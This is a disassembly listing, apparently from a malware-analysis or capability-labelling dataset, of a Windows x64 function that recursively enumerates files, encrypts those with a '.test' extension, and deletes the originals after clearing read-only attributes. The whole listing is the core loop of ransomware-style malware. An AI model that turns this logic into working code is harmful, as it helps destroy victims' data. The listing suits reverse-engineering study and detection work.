Function at 0x140002320
Capabilities:
Check if file exists
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov qword [rsp + 0x58], rdx
mov r12, rcx
mov dword [rsp + 0x30], 0
mov rsi, qword [rcx + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 2
jb 0x140002a2a
mov r15, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14000238d
mov r15, qword [r12]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
lea r14, [rsi + 2]
mov ebx, 0xf
lea rdi, [rbp - 0x60]
movabs rax, 0x8000000000000000
mov edx, 0x16
cmp r14, rbx
jbe 0x140002427
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400023ef
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.140004070
test rax, rax
je 0x1400029cc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002423
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140002403
xor edi, edi
jmp 0x140002423
cmp rcx, 0x1000
jb 0x14000241b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002a24
jmp 0x1400023d0
call fcn.140004070
mov rdi, rax
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + rsi], 0x2a5c
mov byte [rdi + r14], 0
mov r13d, 8
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rcx, qword [rbp - 0x60]
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x30], rax
cmp rax, 0xffffffffffffffff
je 0x14000299a
mov rbx, rax
nop dword [rax + rax]
movzx ecx, byte [rbp - 0x14]
movzx eax, byte [rbp - 0x13]
cmp cl, 0x2e
jne 0x1400024a7
test al, al
je 0x14000297b
cmp cl, cl
jne 0x1400024a7
cmp al, cl
jne 0x1400024a7
cmp byte [rbp - 0x12], 0
je 0x14000297b
mov r14, qword [r12 + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 1
jb 0x140002a1e
mov r15, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x1400024d5
mov r15, qword [r12]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xor eax, eax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
lea rsi, [r14 + 1]
mov ebx, 0xf
lea rdi, [rsp + 0x38]
cmp rsi, rbx
jbe 0x140002573
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000251b
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140002547
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
je 0x14000256b
cmp rcx, 0x1000
jb 0x140002566
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002a30
mov rcx, rax
call fcn.140004070
test rax, rax
je 0x1400029d3
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000256e
call fcn.140004070
mov rdi, rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rbx
mov r8, r14
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0x5c
mov byte [rdi + rsi], 0
lea rax, [rbp - 0x14]
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400025a0
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1400025f3
lea rax, [rcx + rdi]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x38]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x38]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x14]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
lea rax, [rsp + 0x38]
jmp 0x140002609
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x14]
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.140003380
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ebx, ebx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
or r13d, 6
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x140002678
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002673
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029da
call fcn.1400043bc
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], 0xf
mov byte [rsp + 0x38], 0
lea rcx, [rbp - 0x80]
call fcn.140001a20
test al, al
je 0x1400026ab
lea rdx, str.Skipping_protected_path:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x14000290f
test byte [rbp - 0x40], 0x10
je 0x1400026c4
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x80]
call fcn.140002320
jmp 0x14000293f
mov rax, qword [rbp - 0x70]
cmp rax, 5
jbe 0x140002752
lea rcx, [rax - 5]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
cmp rax, rcx
jb 0x140002a36
sub rax, rcx
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
add rdx, rcx
lea rcx, [rsp + 0x60]
call fcn.140003280
or r13d, 0x11
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
cmova rax, rcx
cmp qword [rsp + 0x70], 5
jne 0x14000274e
cmp dword [rax], 0x7365742e
jne 0x14000274e
cmp byte [rax + 4], 0x74
je 0x14000275c
mov bl, 1
jmp 0x14000275e
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x60]
xor bl, bl
test r13b, 1
je 0x14000279b
and r13d, 0xfffffffe
cmp rdx, 0xf
jbe 0x14000279b
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002796
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029e1
call fcn.1400043bc
test bl, bl
je 0x14000293f
lea rdx, str.Encrypting:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003060
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rax
call fcn.140003510
lea rdx, [0x140003240]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp - 0x80]
mov rcx, qword [rsp + 0x58]
call fcn.140001510
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x140002908
lea rdx, str.Successfully_encrypted:
call fcn.140003060
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rax
call fcn.140003510
lea rdx, [0x140003240]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1400028a4
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14000293f
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
and eax, 0xfffffffe
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x1400028b4
lea rdx, str.Original_file_deleted:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x14000290f
lea rdx, str.Failed_to_delete_original_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003060
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rax
call fcn.140003510
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str._Error:
mov rcx, rbx
call fcn.140003060
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
jmp 0x14000292e
lea rdx, str.Failed_to_encrypt:
call fcn.140003060
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
mov r8, qword [rbp - 0x70]
cmova rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.140003510
lea rdx, [0x140003240]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002976
inc rdx
mov rcx, qword [rbp - 0x80]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140002971
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029e8
call fcn.1400043bc
mov rbx, qword [rsp + 0x30]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140002480
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400029f4
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400043bc
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.140003f30
mov rbx, qword [rsp + 0x260]
add rsp, 0x210
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
int3
call fcn.1400011a0
nop
call fcn.140001100
nop
call fcn.140003040
int3